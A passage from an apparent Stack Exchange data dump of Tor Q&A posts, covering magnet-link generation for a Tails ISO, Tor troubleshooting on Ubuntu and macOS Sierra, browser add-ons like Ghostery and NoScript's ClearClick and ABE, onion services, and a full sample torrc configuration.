work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;magnet:?xt=urn:btih:ZEAFJLWHSXEYJE6M4QGZCJ22CGZSRWBH&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that since you've no reason to trust my magnet link, you should also download the .iso.sig from one of the mirrors above and again verify the signature of the ISO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anyone wanting to verify, the magnet link was generated through the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bencode,hashlib,base64&#xA;f = open('tails-i386-2.6.torrent').read()&#xA;df = bencode.bdecode(f)&#xA;h = hashlib.sha1(bencode.bencode(df['info'])).digest()&#xA;print &quot;magnet:?xt=urn:btih:%s&quot; % (base64.b32encode(h))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-10T03:59:03.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13099" PostTypeId="2" ParentId="343" CreationDate="2016-11-10T09:38:16.203" Score="0" Body="&lt;p&gt;It's an old question, I know, but I have worked out how to run a Freenet node through OnionCat, or with a clearnet proxy linked via OnionCat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dbshmc5frbchaum2.onion/Freenet-OnionCat.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dbshmc5frbchaum2.onion/Freenet-OnionCat.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2016-11-10T09:38:16.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13100" PostTypeId="1" CreationDate="2016-11-11T01:50:50.417" Score="1" ViewCount="805" Body="&lt;p&gt;Keep getting &quot;this site is blocked&quot;. Im using tor, all the config options are correct according to the FAQ. Even the blocked sites message tells me to use tor, which makes no sense considering I'm using tor. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="15013" LastActivityDate="2017-04-11T09:49:52.890" Title="Blocked sites even using tor." Tags="|onion-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13101" PostTypeId="1" CreationDate="2016-11-11T06:29:35.957" Score="0" ViewCount="2369" Body="&lt;p&gt;Would using Ghostery be necessary in the Tor web browser? I know that my IP would be unknown but my patterns are well documented. My Tor browser settings are set to high.&lt;/p&gt;&#xA;" OwnerUserId="15015" LastActivityDate="2017-06-03T22:15:37.303" Title="Is Ghostery necessary with Tor?" Tags="|ip-address|add-on|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13103" PostTypeId="2" ParentId="4908" CreationDate="2016-11-11T16:46:52.153" Score="0" Body="&lt;p&gt;The answer is &lt;strong&gt;NO&lt;/strong&gt;. Tor is &lt;strong&gt;not&lt;/strong&gt; a routing(i.e. OSI Layer 2 or 3) software, and TBB is &lt;em&gt;just&lt;/em&gt; a browser. Tor itself opens a SOCKS proxy service for Layer 3+, and TransPort, i.e. transparent proxy, for Layer 3 alone. You &lt;em&gt;can&lt;/em&gt; route all the traffic through Tor, but &lt;strong&gt;you need to elaborate by yourself&lt;/strong&gt; a component to utilize tor's service ports: usually you use a firewall + TransPort for tasks like this. That's actually why you can configure which kind of packet forwarding format it will expect ( via &lt;code&gt;TransProxyType&lt;/code&gt; directive in torrc)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-11-11T16:46:52.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13104" PostTypeId="2" ParentId="13100" CreationDate="2016-11-11T17:55:23.303" Score="1" Body="&lt;p&gt;The site blocking issue can be these kinds in your situation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The website is blocked too in the exitnode's location. Maybe it will be the same ISP or AS as yours.&lt;/li&gt;&#xA;&lt;li&gt;You're leaking a DNS requests to your ISP servers, and these servers are giving you the &quot;it's blocked&quot; page address instead of the website you want. After that you're trying to connect to the wrong address through Tor. Of course, it will be &quot;blocked&quot;&lt;/li&gt;&#xA;&lt;li&gt;Your browser is not using Tor, actually. There are some glitchy situations, when browsers are just ignoring or bypassing the proxy settings. In Firefox a FoxyProxy extension is a right thing to try - it uses to fix such a problems too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-11-11T17:55:23.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13105" PostTypeId="2" ParentId="13101" CreationDate="2016-11-11T17:58:32.050" Score="-2" Body="&lt;p&gt;It's a good thing to have, so the answer is &lt;strong&gt;YES&lt;/strong&gt;: the neccessity of using Ghostery is not eliminated by using non-direct TCP transport(i.e. using Tor instead of direct clearnet) - it does not change the end point, the website you're visiting. And - it's not eliminating tracking scripts like Google Analytics. So Ghostery is must-have thing. Also consider using a Perspectives Project to verify HTTPS certificates, a good thing to have.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-11-11T17:58:32.050" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="13106" PostTypeId="2" ParentId="12678" CreationDate="2016-11-11T19:41:58.750" Score="0" Body="&lt;p&gt;Actually, using cURL and so-forth has a partial effect: you can tell that Tor is working only in a manner of true/false.  To troubleshoot the problem automatically, you should use a pipe analyzer for its logs, and then - for example - you'll be able to fix the issue with time automatically (i.e. enforce the launch of &lt;code&gt;ntpdate&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="14406" LastEditDate="2021-01-26T15:11:49.157" LastActivityDate="2021-01-26T15:11:49.157" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="13107" PostTypeId="1" CreationDate="2016-11-11T21:02:32.053" Score="1" ViewCount="451" Body="&lt;p&gt;I'm new to Tor. What is Application Boundaries Enforcer (ABE) and ClearClick and why should I have them turned on or off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15015" LastActivityDate="2016-11-11T23:21:55.917" Title="What are ClearClick and ABE?" Tags="|tor-browser-bundle|configuration|clear-net|settings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13108" PostTypeId="1" CreationDate="2016-11-11T21:14:24.560" Score="0" ViewCount="319" Body="&lt;p&gt;I am new to Tor. Can I use it to post comments on blogs, forums, and websites that have contact forms please? I would like to be able to use Tor all the time, rather than have to stop using it every time I want to make a comment, or use a contact us form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded it today, and have been testing it out. I could not make comments on blog sites, and tried using a contact us form on a website and it failed. I have not tried to use it on forums yet, but thought I should ask. I post on forums and would love to keep my identity(IP) private. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="15019" LastActivityDate="2022-11-24T01:55:11.267" Title="Using Tor to comment on blogs and forums?" Tags="|anonymity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13109" PostTypeId="2" ParentId="13101" CreationDate="2016-11-11T21:20:43.477" Score="2" Body="&lt;p&gt;Generally all extensions are bad. If they affect how the browser behaves they are fingerprintable and therefor reduce your anonymity because your browser no longer acts like other peoples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, most of these addons work by blacklisting which is always insufficient and flawed. Infact a &lt;a href=&quot;http://randomwalker.info/publications/OpenWPM_1_million_site_tracking_measurement.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;study of such addons&lt;/a&gt; found there were cases that it always missed and that it always missed new, emerging fingerprinting techniques. This means that rather than improving your privacy, in the case of Tor Browser they are harming it. To get privacy on Tor Browser use 'New Identity', it will protect you better than any addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, Ghostery is proprietary software. There is no source code available, you will not be able to tell what it is doing without some reverse engineering effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thirdly, &lt;a href=&quot;https://github.com/nylira/prism-break/issues/1225&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghostery sells you information&lt;/a&gt; to advertising companies, presumably the very thing you were intending to avoid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you should not be using Ghostery. If you want to block ads, use an adblocker but don't think that addons will stop tracking, they absolutely will not. At best they reduce it, in many cases they will make it worse.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12240" LastEditDate="2016-11-12T22:59:38.753" LastActivityDate="2016-11-12T22:59:38.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13110" PostTypeId="2" ParentId="13108" CreationDate="2016-11-11T22:55:54.090" Score="4" Body="&lt;p&gt;Yes, you can use Tor to do whatever you can do on the web, including commenting on blogs, forums, ... As long as they do not block Tor exit relays (for example you wont be able to 'comment' on Wikipedia using Tor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it largely depends on which blogs, forums, ... are in question, and what their policy concerning exit relays is.&lt;/p&gt;&#xA;" OwnerUserId="15020" LastActivityDate="2016-11-11T22:55:54.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13111" PostTypeId="1" CreationDate="2016-11-11T22:57:18.253" Score="0" ViewCount="71" Body="&lt;p&gt;Not sure why this is happening or why the ./firefox command keeps repeating...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://freedomsct2bsqtn.onion/fdwycmkknkayxmpanvvm/OTtAmNDT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://freedomsct2bsqtn.onion/fdwycmkknkayxmpanvvm/OTtAmNDT.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$uname -a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linux 4.4.0-47-generic #68-Ubuntu SMP UTC 2016 x86_64 x86_64 x86_64 GNU/Linux&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$lsb_release -a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No LSB modules are available.&#xA;Distributor ID: Ubuntu&#xA;Description:    Ubuntu 16.04.1 LTS&#xA;Release:    16.04&#xA;Codename:   xenial&lt;/p&gt;&#xA;" OwnerUserId="15021" LastActivityDate="2016-11-12T08:12:30.293" Title="Weird htop output? (screenshot)" Tags="|tor-browser-bundle|configuration|ubuntu|error|terminal|" AnswerCount="1" CommentCount="0" ClosedDate="2016-11-12T23:02:49.753" ContentLicense="CC BY-SA 3.0" />
  <row Id="13112" PostTypeId="2" ParentId="13107" CreationDate="2016-11-11T23:21:55.917" Score="1" Body="&lt;p&gt;ABE and ClearClick are part of the NoScript add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ClearClick&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clickjacking is a method of tricking you into clicking something you probably didn't want to click on. There's various ways to clickjack, but most of them use iFrames or JavaScript to partially cover a link or button, so you accidentally click on the &quot;bad&quot; link instead of what you thought you were clicking on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ClearClick automatically detects clickjacking attempts, and shows you a warning. For exact details, read the FAQ here: &lt;a href=&quot;https://noscript.net/faq#qa7_4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://noscript.net/faq#qa7_4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ABE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ABE is the Application Boundaries enforcer, and protects against cross-site request forgery, or CSRF. It basically blocks websites from accessing resources on your local network. More detailed information is available on Wikipedia: &lt;a href=&quot;https://en.wikipedia.org/wiki/CSRF&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/CSRF&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these features help keep you safer, so it's probably best to keep them turned on. &lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-11-11T23:21:55.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13113" PostTypeId="1" CreationDate="2016-11-11T20:14:36.227" Score="1" ViewCount="285" Body="&lt;p&gt;On the front page of Reddit today, there's a link to an article titled &lt;a href=&quot;http://arstechnica.com/tech-policy/2016/11/fbi-operated-23-tor-hidden-child-porn-sites-deployed-malware-from-them/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;FBI operated 23 Tor-hidden child porn sites, deployed malware from them&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My response comment was as follows: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My god.. People. Tor is a &lt;strong&gt;&lt;em&gt;browser&lt;/em&gt;&lt;/strong&gt;. You do not hide a&#xA;  &lt;strong&gt;&lt;em&gt;website&lt;/em&gt;&lt;/strong&gt; with Tor. You hide &lt;strong&gt;&lt;em&gt;your activity as a visitor&lt;/em&gt;&lt;/strong&gt;. There's no such things as a &quot;Tor hidden website&quot;. And there is no&#xA;  magical secret place on the internet known as the &quot;dark web&quot; that you&#xA;  can only access with Tor - It's simply a group of websites that google&#xA;  and other search engines elect not to index in search results due to&#xA;  their illegal nature. You still simply type in the web address and get&#xA;  there from any browser. People just use Tor to get to them to hide&#xA;  their identity.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I just want to double check and make sure I'm not wrong about this. I've never used Tor, but I have done a good deal of research on how it works.&lt;/p&gt;&#xA;" OwnerDisplayName="Viziionary" LastEditorUserId="14997" LastEditDate="2019-02-10T19:39:57.320" LastActivityDate="2019-02-10T19:39:57.320" Title="Is there such a thing as a &quot;Tor hidden website&quot;?" Tags="|website|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13114" PostTypeId="2" ParentId="13113" CreationDate="2016-11-11T20:23:50.587" Score="11" Body="&lt;p&gt;You're right in some ways, but wrong on many key details.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Tor is not simply a browser:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Through &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;noreferrer&quot;&gt;Tor Browser&lt;/a&gt; is a product of the Tor Project, it is not itself Tor. Tor is the piece of software that runs the &quot;The Onion Router&quot; network of connected Tor nodes. Tor Browser utilizes the Tor software to rout network requests over the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;There actually is such a thing as a &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;noreferrer&quot;&gt;Tor Hidden Service Protocol&lt;/a&gt;:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;They are basically servers that can only be accessed over Tor, and are given &lt;code&gt;.onion&lt;/code&gt; domain names. You would not be able to &quot;still simply type in the web address and get there from any browser&quot; unless that site is also available outside of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you can use Tor for other things besides accessing Tor hidden services, like browsing the web, possibly with intent to hide your identity or bypass geolocation restrictions.&lt;/p&gt;&#xA;" OwnerUserId="15022" OwnerDisplayName="Alexander O'Mara" LastActivityDate="2016-11-11T20:23:50.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13116" PostTypeId="1" CreationDate="2016-11-12T01:21:09.253" Score="1" ViewCount="612" Body="&lt;p&gt;First-time user here. Dowloaded tor browser bundle (for OSX), launched: &quot;Unable to find the proxy server&quot;. Added TorBrowser to exceptions for firewall, restarted, relaunched, &quot;unable to find the proxy server.&quot; My connection is otherwise fine (at home), no other proxy/VPN installed on this machine. Scoured the internet and this site to see if some configuration is necessary after installation (read through documentation, etc) but can find no info--it all just says install and go!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings/&quot;configure proxies to access the internet&quot; is set (by default) &quot;use system proxy settings.&quot; I tried all other proxy options, same problem. What am I doing wrong? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15026" LastActivityDate="2017-03-20T10:49:47.830" Title="Tor browser bundle/Mac OSX new installation: Unable to find the proxy server" Tags="|tor-browser-bundle|proxy|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13117" PostTypeId="2" ParentId="13111" CreationDate="2016-11-12T08:12:30.293" Score="1" Body="&lt;p&gt;These are threads, this is normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They're not multiple instances of &lt;code&gt;firefox&lt;/code&gt; but instead a single instance that has multiple threads created for it. This may be more apparent if you press F5 to view it as a tree, you will see a main &lt;code&gt;firefox&lt;/code&gt; instance with multiple children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a process wants to run tasks in parallel it will often create a new thread. The thread will run the task while in the background, each of these threads will appear as a &quot;new&quot; process while in fact they maintain (most) of the same process space as the initial process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://en.wikipedia.org/wiki/Thread_%28computing%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Thread (Computing)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-12T08:12:30.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13118" PostTypeId="2" ParentId="13116" CreationDate="2016-11-12T08:49:36.310" Score="1" Body="&lt;p&gt;I just recently downloaded Tor browser for Mac OS too and had the exact same issue. That was my first time downloading and I had done it from the Tor page where it lists the download options for all of the operating systems. I know I had downloaded the mac option but for whatever reason it still did not work. I went back a second time and instead just clicked to download Tor from the big download button at the main page and all of the processes was the same but that time it did the trick and it startes up as it should now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also once you do get it running correctly remember to click on the onion on the top left of the browser to change security from low to high!:)&lt;/p&gt;&#xA;" OwnerUserId="15015" LastActivityDate="2016-11-12T08:49:36.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13119" PostTypeId="1" CreationDate="2016-11-12T13:13:25.513" Score="3" ViewCount="4112" Body="&lt;p&gt;I have updated to MAC OSX Sierra and now tor will open but just says: tor cannot connect to control port &#xA;I have no firewall installed and no antivirus either.&#xA;Can someone please advice what may be the issue or what a fix could be please?&#xA;I have been using TOR for years and have never had an issue only now with Sierra there is an issue.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15031" LastActivityDate="2016-12-21T14:18:51.887" Title="MAC OSX 10.12 Sierra -TOR cannot connect to control port mac os sierra fix" Tags="|mac|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13120" PostTypeId="1" CreationDate="2016-11-12T18:07:14.013" Score="1" ViewCount="2030" Body="&lt;p&gt;I recently upgraded to Mac OS X Sierra and then upgraded Tor.  However, I can’t seem to start it because evidently it is already running on my machine.  I tried this …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;localhost:myproject davea$ tor --CookieAuthentication 0 --HashedControlPassword &quot;&quot; --ControlPort 9050 --SocksPort 50001&#xA;Nov 12 12:04:36.320 [notice] Tor v0.2.8.9 running on Darwin with Libevent 2.0.22-stable, OpenSSL 1.0.2j and Zlib 1.2.8.&#xA;Nov 12 12:04:36.321 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/   download#warning&#xA;Nov 12 12:04:36.321 [notice] Read configuration file &quot;/opt/local/etc/tor/torrc&quot;.&#xA;Nov 12 12:04:36.324 [warn] Linelist option '__HashedControlSessionPassword' has no value. Skipping.&#xA;Nov 12 12:04:36.324 [warn] Option 'CookieAuthentication' used more than once; all but the last value will be ignored.&#xA;Nov 12 12:04:36.324 [warn] Linelist option '__HashedControlSessionPassword' has no value. Skipping.&#xA;Nov 12 12:04:36.324 [warn] ControlPort is open, but no authentication method has been configured.  This means that any program on   your computer can reconfigure your Tor.  That's bad!  You should upgrade your Tor controller as soon as possible.&#xA;Nov 12 12:04:36.325 [notice] Opening Socks listener on 127.0.0.1:50001&#xA;Nov 12 12:04:36.325 [notice] Opening Socks listener on 127.0.0.1:50001&#xA;Nov 12 12:04:36.325 [warn] Could not bind to 127.0.0.1:50001: Address already in use. Is Tor already running?&#xA;Nov 12 12:04:36.325 [notice] Opening Control listener on 127.0.0.1:9050&#xA;Nov 12 12:04:36.325 [notice] Opening Control listener on 127.0.0.1:9050&#xA;Nov 12 12:04:36.325 [warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&#xA;Nov 12 12:04:36.325 [notice] Closing partially-constructed Socks listener on 127.0.0.1:50001&#xA;Nov 12 12:04:36.325 [notice] Closing partially-constructed Control listener on 127.0.0.1:9050&#xA;Nov 12 12:04:36.325 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Nov 12 12:04:36.325 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried killing the tor daemon by running the below …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;localhost:myproject davea$ pidof tor | xargs sudo kill -9&#xA;localhost:myproject davea$ pidof tor&#xA;2117 2118 2119 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it seem to still be running.  Does anyone know how to stop the tor daemon on Mac Sierra?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Edit;&lt;/b&gt; Below is my configuration file.  I don’t specify the ports in anything as you can see&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Configuration file for a typical Tor user&#xA;## Last updated 22 September 2015 for Tor 0.2.7.3-alpha.&#xA;## (may or may not work for much older or much newer versions of Tor.)&#xA;##&#xA;## Lines that begin with &quot;## &quot; try to explain what's going on. Lines&#xA;## that begin with just &quot;#&quot; are disabled commands: you can enable them&#xA;## by removing the &quot;#&quot; symbol.&#xA;##&#xA;## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,&#xA;## for more options you can use in this file.&#xA;##&#xA;## Tor will look for this file in various places based on your platform:&#xA;## https://www.torproject.org/docs/faq#torrc&#xA;&#xA;## Tor opens a SOCKS proxy on port 9050 by default -- even if you don't&#xA;## configure one below. Set &quot;SOCKSPort 0&quot; if you plan to run Tor only&#xA;## as a relay, and not make any local application connections yourself.&#xA;#SOCKSPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SOCKSPort 192.168.0.1:9100 # Bind to this address:port too.&#xA;&#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SOCKSPolicy is set, we accept&#xA;## all (and only) requests that reach a SOCKSPort. Untrusted users who&#xA;## can access your SOCKSPort may be able to learn about the connections&#xA;## you make.&#xA;#SOCKSPolicy accept 192.168.0.0/16&#xA;#SOCKSPolicy accept6 FC00::/7&#xA;#SOCKSPolicy reject *&#xA;&#xA;## Logs go to stdout at level &quot;notice&quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &quot;notice&quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /opt/local/var/log/tor/notices.log&#xA;#Log notice file /opt/local/var/log/tor/notices.log&#xA;## Send every possible message to /opt/local/var/log/tor/debug.log&#xA;#Log debug file /opt/local/var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;#Log notice syslog&#xA;## To send all messages to stderr:&#xA;#Log debug stderr&#xA;&#xA;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;#RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;#DataDirectory /opt/local/var/lib/tor&#xA;&#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;#ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword 16:47EB36FD3B2B5A1860A3FB45E94ECCFD201635452E8CEB30216AEA552F&#xA;#CookieAuthentication 1&#xA;&#xA;############### This section is just for location-hidden services ###&#xA;&#xA;## Once you have configured a hidden service, you can look at the&#xA;## contents of the file &quot;.../hidden_service/hostname&quot; for the address&#xA;## to tell people.&#xA;##&#xA;## HiddenServicePort x y:z says to redirect requests on port x to the&#xA;## address y:z.&#xA;&#xA;#HiddenServiceDir /opt/local/var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /opt/local/var/lib/tor/other_hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;#HiddenServicePort 22 127.0.0.1:22&#xA;&#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;#ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address noname.example.com&#xA;&#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;# OutboundBindAddress 10.0.0.5&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;#Nickname ididnteditheconfig&#xA;&#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 20 kilobytes per second.&#xA;## Note that units for these config options are bytes (per second), not&#xA;## bits (per second), and that prefixes are binary prefixes, i.e. 2^10,&#xA;## 2^20, etc.&#xA;#RelayBandwidthRate 100 KBytes  # Throttle traffic to 100KB/s (800Kbps)&#xA;#RelayBandwidthBurst 200 KBytes # But allow bursts up to 200KB (1600Kb)&#xA;&#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &quot;40 GB&quot; may allow up to 80 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 40 gigabytes each way per period.&#xA;#AccountingMax 40 GBytes&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;#AccountingStart month 3 15:00&#xA;&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /opt/local/etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentially reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins.&#xA;##&#xA;## If you want to allow the same ports on IPv4 and IPv6, write your rules&#xA;## using accept/reject *. If you want to allow different ports on IPv4 and&#xA;## IPv6, write your IPv6 rules using accept6/reject6 *6, and your IPv4 rules&#xA;## using accept/reject *4.&#xA;##&#xA;## If you want to _replace_ the default exit policy, end this with either a&#xA;## reject *:* or an accept *:*. Otherwise, you're _augmenting_ (prepending to)&#xA;## the default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;##&#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;##&#xA;## For security, by default Tor rejects connections to private (local)&#xA;## networks, including to the configured primary public IPv4 and IPv6 addresses,&#xA;## and any public IPv4 and IPv6 addresses on any interface on the relay.&#xA;## See the man page entry for ExitPolicyRejectPrivate if you want to allow&#xA;## &quot;exit enclaving&quot;.&#xA;##&#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports on IPv4 and IPv6 but no more&#xA;#ExitPolicy accept *:119 # accept nntp ports on IPv4 and IPv6 as well as default exit policy&#xA;#ExitPolicy accept *4:119 # accept nntp ports on IPv4 only as well as default exit policy&#xA;#ExitPolicy accept6 *6:119 # accept nntp ports on IPv6 only as well as default exit policy&#xA;#ExitPolicy reject *:* # no exits allowed&#xA;&#xA;## Bridge relays (or &quot;bridges&quot;) are Tor relays that aren't listed in the&#xA;## main directory. Since there is no complete public list of them, even an&#xA;## ISP that filters connections to all the known Tor relays probably&#xA;## won't be able to block all the bridges. Also, websites won't treat you&#xA;## differently because they won't know you're running Tor. If you can&#xA;## be a real relay, please do; but if not, be a bridge!&#xA;#BridgeRelay 1&#xA;## By default, Tor will advertise your bridge to users through various&#xA;## mechanisms like https://bridges.torproject.org/. If you want to run&#xA;## a private bridge, for example because you'll give out your bridge&#xA;## address manually to your friends, uncomment this line:&#xA;#PublishServerDescriptor 0&#xA;MaxCircuitDirtiness 60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14367" 